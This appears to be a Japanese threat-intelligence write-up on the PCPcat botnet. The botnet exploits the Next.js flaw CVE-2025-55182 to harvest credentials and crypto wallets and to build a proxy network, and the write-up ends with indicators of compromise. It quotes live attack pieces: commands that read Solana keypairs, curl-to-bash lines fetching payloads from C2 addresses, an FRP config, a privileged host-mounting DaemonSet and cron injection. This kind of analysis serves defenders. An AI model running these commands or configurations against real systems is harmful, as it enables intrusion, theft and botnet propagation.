段階1: 初期アクセス – CVE-2025-55182の悪用
主な攻撃ベクトルはCVE-2025-55182を活用します。これはNext.jsサーバーアクションの重大な脆弱性で、認証なしでリモートコード実行が可能です。react.pyスキャナーは750の同時ワーカーで動作し、インターネット全体の脆弱なアプリケーションを積極的に標的にしています。
CVE-2025-55182 (React2Shell) 技術概要
この脆弱性はNext.jsのReact Server Components (RSC)デシリアライゼーションロジックに存在します。攻撃者は悪意のあるマルチパートフォームデータを作成し、JavaScriptプロトタイプ汚染を悪用して任意のNode.jsコード実行を実現します。この悪用には認証が不要で、単一のHTTP POSTリクエストで実行可能です。
PCPcat悪用フロー
攻撃は標的のルートパスへの特別に細工されたHTTPリクエストから始まります:
POST / HTTP/1.1
Host: target.com
Next-Action: x
Content-Type: multipart/form-data; boundary=---- WebKitFormBoundaryx8jO2oVc6SWP3Sad
注入されたコードは以下を活用します:
process.mainModule.require('child_process').execSync()システムコマンド実行。出力は Next.jsのNEXT_RIREDIRECTエラーメカニズム経由で流出します:
throw Object.assign(new Error('NEXT_REDIRECT'), {
digest: `NEXT_REDIRECT;push;/login?a=${command_output};307;`
});
この手法は特に興味深いものです – 攻撃者はコマンド出力をHTTPリダイレクトURLに埋め込み、X-Action-Redirectレスポンスヘッダーからキャプチャします。
検証と認証情報の収集
初期アクセス時、react.pyは単純な’id’コマンドを実行して悪用の成功を確認します。成功した場合、スクリプトは30以上の機密データソースを対象とした広範な認証情報収集操作をすぐに開始します。
特に注目すべきはこのキャンペーンの暗号資産への焦点です。スクリプトには15以上のSolanaエコシステムを標的とした特化したコマンドが含まれています:
"find / -name 'keypair.json' 2>/dev/null | head -50 | xargs cat"
"find ~/.solana -name '*.json' 2>/dev/null"
"cat ~/.config/solana/id.json 2>/dev/null"
"cat ./target/deploy/program-keypair.json 2>/dev/null"
"find .anchor -name '*.json' 2>/dev/null | xargs cat"
その他の抽出対象にはBitcoinウォレット.datファイル、Ethereumキーストア、ブラウザ拡張ウォレット(MetaMask)、AWS認証情報、Dockerレジストリ設定、Kubernetesシークレット、SSH秘密鍵が含まれます。
収集された全ての認証情報はhxxp://44.252.85.168:5656に流出し、一元管理されます。これは認証情報マーケットプレイス操作を支援するか、クラウドインフラに対する後続攻撃を可能にするものと思われます。
段階2: ペイロードの展開 – proxy.shオーケストレータ
初期アクセスベクトル経由の悪用に続き、攻撃者はhxxp://67.217.57.240:666/files/proxy.shからproxy.shを展開します。このbashスクリプトはキャンペーンのオーケストレータとして機能し、優れた環境認識と運用能力を実証しています。
スクリプトは既存の実行中のxmrigプロセスを削除し、Alibaba Cloudのセキュリティエージェント(Aegis)を無効化します:
pkill -9 xmrig 2>/dev/null
pkill -9 XMRig 2>/dev/null
curl -fsSL http://update.aegis.aliyun.com/download/uninstall.sh | bash 2>/dev/null
Kubernetes検出と自動伝播
キャンペーンの最も興味深い機能の一つは、Kubernetesクラスタの自動検出と伝播です:
if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]; then
curl -fsSL "http://67.217.57.240:666/files/kube.py" -o /tmp/k8s.py
python3 /tmp/k8s.py
fi
Kubernetesサービスアカウントトークンが検出された場合、スクリプトはすぐにkube.pyをダウンロードして実行します。これはクラスタ全体のラテラルムーブメント(段階5で詳説)を実行します。
マルチアーキテクチャバイナリの展開
スクリプトはx86_64、ARM64、ARMv7アーキテクチャをサポートし、従来のx86サーバーと最新のARMベースのクラウドインスタンス(AWS Graviton、Azure ARM VM)の侵害を可能にします。キャンペーンは公式GitHubリリースから直接ダウンロードした2つの正当なオープンソースツールを展開します:
- FRP (Fast Reverse Proxy) v0.52.3: C2インフラへの暗号化リバーストンネルを作成
- GOST v2.12.0: SOCKS5プロキシ機能を提供
段階3: プロキシネットワーク構築 – コアインフラ
このキャンペーンの最も革新的な側面は、大規模で分散型のSOCKS5プロキシネットワークの構築です。このインフラは複数の目的に機能します: 多様なIPレンジからの匿名スキャンを可能にし、他の犯罪活動のプロキシサービスを提供し、耐性のあるC2通信チャネルを作成します。
侵害された各ホストは2つのコンポーネントを実行します:
- GOST SOCKS5プロキシ: localhost:1080でリッスン、SOCKS5プロキシ機能を提供
- FRPクライアント: ローカルGOSTプロキシからC2サーバーへの暗号化リバーストンネルを作成
以下はFRP設定です:
serverAddr="67.217.57.240"
serverPort=888
auth.token="PCPcat-FRP-Token-2024"
[[proxies]]
name="pcpcat-<hostname>-<timestamp>"
type="tcp"
localIP="127.0.0.1"
localPort=1080
remotePort=890
loadBalancer.group="pcpcat-pool"
loadBalancer.groupKey="PCPcat-Group-Key"
運用モデル
侵害されたすべてのシステムは認証トークン「PCPcat-FRP-Token-2024」を使用して67.217.57.240:888のFRPサーバーに接続します。ローカルSOCKS5プロキシ(ポート1080)はその後、ポート890のC2サーバーを通じて公開されます。侵害されたすべてのホストは「pcpcat-pool」というロードバランサーグループに参加し、運用者は数千の侵害されたシステム全体でトラフィックを分散できます。
このアーキテクチャは複数の犯罪活動を可能にします:
- 分散スキャン: キャンペーンのスキャナーはプロキシプール経由でルーティングでき、多様なIPレンジからスキャンしてレート制限とIPベースブロックを回避
- 匿名アクセス: 運用者は数千の異なるIPアドレスを通じて任意のインターネットリソースにアクセス可能
- プロキシサービス販売: ボットネットは他の犯罪者へのプロキシアクセス販売により収益化可能
- C2耐性: ノードの一部がクリーンアップされても、プールは動作継続
750の同時ワーカーがNext.jsアプリケーションを標的とし、10,000のワーカーがDocker/Rayインフラをスキャンし、RedisとKubernetes悪用モジュールと組み合わせることで、キャンペーンは潜在的に数千のホストを日々侵害できます。正常に侵害された各ホストはプロキシプールに参加し、常に成長する分散インフラを作成します。
段階4: 永続化メカニズム
キャンペーンは環境に応じた複数の永続化メカニズムを実装しています。
Systemdサービス(主要方法)
自動再起動機能を備えた6つのsystemdサービスが作成されます:
- pcpcat-gost.service: SOCKS5プロキシ (RestartSec=5s)
- pcpcat-frp.service: C2へのリバーストンネル (RestartSec=5s)
- pcpcat-scanner.service: Docker/Ray継続スキャン (RestartSec=60s)
- pcpcat-react.service: CVE-2025-55182継続悪用 (RestartSec=60s)
- pcpcat-redis.service: Redis悪用モジュール (RestartSec=60s)
- pcpcat-boring.service: 暗号資産マイナー (RestartSec=10s)
各サービスはRestart=alwaysを含み、クラッシュまたは手動終了からの自動復旧を保証します。段階的な再起動タイマー(5-60秒)は応答性とシステムリソース管理のバランスをとります。
Kubernetes DaemonSet(クラウドネイティブ永続化)
Kubernetes環境では、キャンペーンはkube-systemネームスペースに「system-monitor」という名前のDaemonSetを展開します。これにより、クラスタ内のすべてのノード上でマルウェアが実行され、ホストファイルシステムとネットワークへの特権アクセスが確保されます。
個々のポッドが削除されても、Kubernetesは自動的にそれらを再作成し、自己修復の永続化を提供します。
Redis Cron ジョブ(クロスディストリビューション互換性)
redis-deploy.pyモジュールは3つの異なるディレクトリにcronジョブを書き込みます: /var/spool/cron/、/var/spool/cron/crontabs/、/etc/cron.d/。これにより、異なるcronディレクトリ構造を使用する異なるLinuxディストリビューション(RedHat、Debian、Ubuntu)全体での実行を保証します。
cronジョブは時間ごとに実行されます:
0 * * * * curl -fsSL hxxp://67.217.57.240:666/files/proxy.sh | bash
exec_url = f"{api_url}/api/v1/namespaces/{namespace}/pods/{pod_name}/exec"
exec_url += f"?command=sh&command=-c&command=curl+-fsSL+{PROXY_URL}+|+bash"
この手法は侵害されたポッドのサービスアカウント権限を活用して他のポッド内でコマンドを実行し、クラスタ全体に急速に伝播します。
クラスタ全体永続化のためのDaemonSet展開
最も興味深い手法は悪意あるDaemonSetをkube-systemに展開することです:
daemonset = {
"metadata": {"name": "system-monitor", "namespace": "kube-system"},
"spec": {
"template": {
"spec": {
"hostNetwork": True,
"hostPID": True,
"containers": [{
"name": "monitor",
"image": "alpine:latest",
"command": ["sh", "-c", "apk add curl bash python3 && curl -fsSL {PROXY_URL} | bash && sleep infinity"],
"securityContext": {"privileged": True},
"volumeMounts": [{"name": "host", "mountPath": "/host"}]
}],
"volumes": [{"name": "host", "hostPath": {"path": "/"}}]
}
}
}
}
この手法は、管理者が侵害された個別のポッドをクリーンアップしても、DaemonSetが自動的にそれらを再作成することを保証します。完全に修復するための唯一の方法は、悪意あるDaemonSet自体を特定して削除することです。
段階6: その他の攻撃ベクトル
Docker API悪用
pcpcat.pyスキャナーはポート2375、2376、2377、4243、4244の公開されたDocker APIを10,000の同時ワーカーで標的にしています。公開されたAPIを見つけると、ホストネットワークモードと完全なファイルシステムアクセスを備えた特権Alpine Linuxコンテナを作成します。このコンテナはproxy.shをダウンロードして実行し、ボットネットネットワークに参加します。
Redis悪用
redis-deploy.pyモジュールは250ターゲットを同時にスキャンし、公開されたCIDRリストから取得されたクラウドプロバイダーIPレンジ(AWS、Azure、GCP、DigitalOcean)に焦点を当てています。バッチごとに最大10,000個のターゲットIPを生成し、ポート6379のRedisに接続を試みます。正常な接続はRedis CONFIG SETコマンドを使用したcronジョブ注入をもたらし、悪意あるエントリを直接cronディレクトリに書き込みます。
Ray AI ダッシュボード悪用
キャンペーンはポート8265のRay AIフレームワークダッシュボードも標的にしています。Rayは機械学習環境で人気のある分散コンピューティングフレームワークです。攻撃者は認証なしの/api/jobs/エンドポイント経由で悪意あるジョブを送信し、Ray クラスタ全体でproxy.shをダウンロードして実行するbase64エンコードされたPythonペイロードを実行します。
スケールと影響評価
PCPcatキャンペーンは有意な規模で動作しています:
- CVE-2025-55182脆弱性をスキャンする750の同時ワーカー
- DockerおよびRayインフラを標的とする10,000の同時ワーカー
- Redisインスタンスを悪用する250の同時ワーカー
- 自動Kubernetes伝播、ラテラルムーブメント。
- マルチアーキテクチャサポート(x86_64、ARM64、ARMv7)で標的面を拡張
侵害されたホストから構築された分散プロキシネットワークは複数の収益化のストリームを提供する可能性があります:
- 暗号資産マイニング: XMRigマイナー(boring_systemバイナリ)がMonero収益を生成
- 盗まれた資産: 暗号資産ウォレット(Solana、Bitcoin、Ethereum)の直接盗窃
- 認証情報販売: クラウド認証情報とSSH鍵は地下市場で販売される可能性
- プロキシサービス: SOCKS5プロキシネットワークは匿名アクセス、DDoS攻撃、または追加スキャンのために他の犯罪者にレンタル可能。
攻撃者はブロックチェーン開発ワークフローについての深い理解を実証し、暗号資産インフラの高価値標的化を示しています。
侵害の指標
コマンド&コントロールインフラ:
67.217.57.240
44.252.85.168
悪意あるURL:
hxxp://67.217.57.240:666/files/proxy.sh
hxxp://67.217.57.240:666/files/pcpcat.py
hxxp://67.217.57.240:666/files/react.py
hxxp://67.217.57.240:666/files/redis-deploy.py
hxxp://67.217.57.240:666/files/BORING_SYSTEM
hxxp://67.217.57.240:666/files/kube.py
hxxp://44.252.85.168:5656
hxxp://44.252.85.168:666/files/kube.py
Systemdサービス:
/etc/systemd/system/pcpcat-gost.service
/etc/systemd/system/pcpcat-frp.service
/etc/systemd/system/pcpcat-scanner.service
/etc/systemd/system/pcpcat-react.service
/etc/systemd/system/pcpcat-redis.service
/etc/systemd/system/pcpcat-boring.service
Cronジョブ:
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/teampcp
コンテンツ: "0 * * * * curl -fsSL http://67.217.57.240:666/files/proxy.sh | bash"
コンテナおよびKubernetes指標:
Dockerコンテナ
コンテナ名: teampcp
イメージ: alpine:latest
特権: true
NetworkMode: host
RestartPolicy: always
Kubernetesリソース:
DaemonSet名: system-monitor
ネームスペース: kube-system
ラベル: app=system-monitor
イメージ: alpine:latest
特権: true
hostNetwork: true
hostPID: true
ボリュームマウント: /host
結論
PCPcatキャンペーンは、ゼロデイ悪用(CVE-2025-55182)を他のクラウドネイティブ攻撃手法と組み合わせて洗練されたマルチパーパス犯罪インフラを構築するボットネット運用の有意な進化を表しています。最近公開されたNext.js脆弱性の武器化キャンペーンは、脅威アクターの技術的能力と開発リソースへのアクセスを実証しています。